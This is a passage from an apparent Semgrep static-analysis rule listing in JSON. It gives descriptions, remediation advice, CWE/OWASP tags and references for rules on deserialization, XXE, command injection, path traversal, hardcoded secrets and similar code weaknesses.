Finding: php.lang.security.ftp-use.ftp-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"help":{"markdown":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"helpUri":"https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","id":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","name":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","id":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","name":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)\n","text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"help":{"markdown":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb)\n","text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","id":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","name":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","id":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","name":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","id":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","name":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","id":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","name":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"help":{"markdown":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n - [https://eprint.iacr.org/2016/759.pdf](https://eprint.iacr.org/2016/759.pdf)\n - [https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf](https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf)\n - [https://datatracker.ietf.org/doc/html/rfc9106#section-4](https://datatracker.ietf.org/doc/html/rfc9106#section-4)\n","text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"helpUri":"https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","id":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","name":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC777 tokensReceived() reentrancy"},"help":{"markdown":"ERC777 tokensReceived() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy)\n - [https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0](https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0)\n - [https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f](https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f)\n","text":"ERC777 tokensReceived() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy","id":"solidity.security.erc777-reentrancy.erc777-reentrancy","name":"solidity.security.erc777-reentrancy.erc777-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc777-reentrancy.erc777-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"help":{"markdown":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization)\n - [https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution](https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution)\n","text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","id":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","name":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"help":{"markdown":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md)\n - [https://owasp.org/www-community/attacks/HTTP_Response_Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)\n","text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection","id":"generic.nginx.security.header-injection.header-injection","name":"generic.nginx.security.header-injection.header-injection","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-injection.header-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","id":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","name":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-empty-password.node-mssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe","id":"java.lang.security.xxe.validator-xxe.validator-xxe","name":"java.lang.security.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename","id":"javascript.express.express-fs-filename.express-fs-filename","name":"javascript.express.express-fs-filename.express-fs-filename","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-fs-filename.express-fs-filename"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","id":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","name":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"help":{"markdown":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","id":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","name":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoiding SQL string concatenation: untrusted input 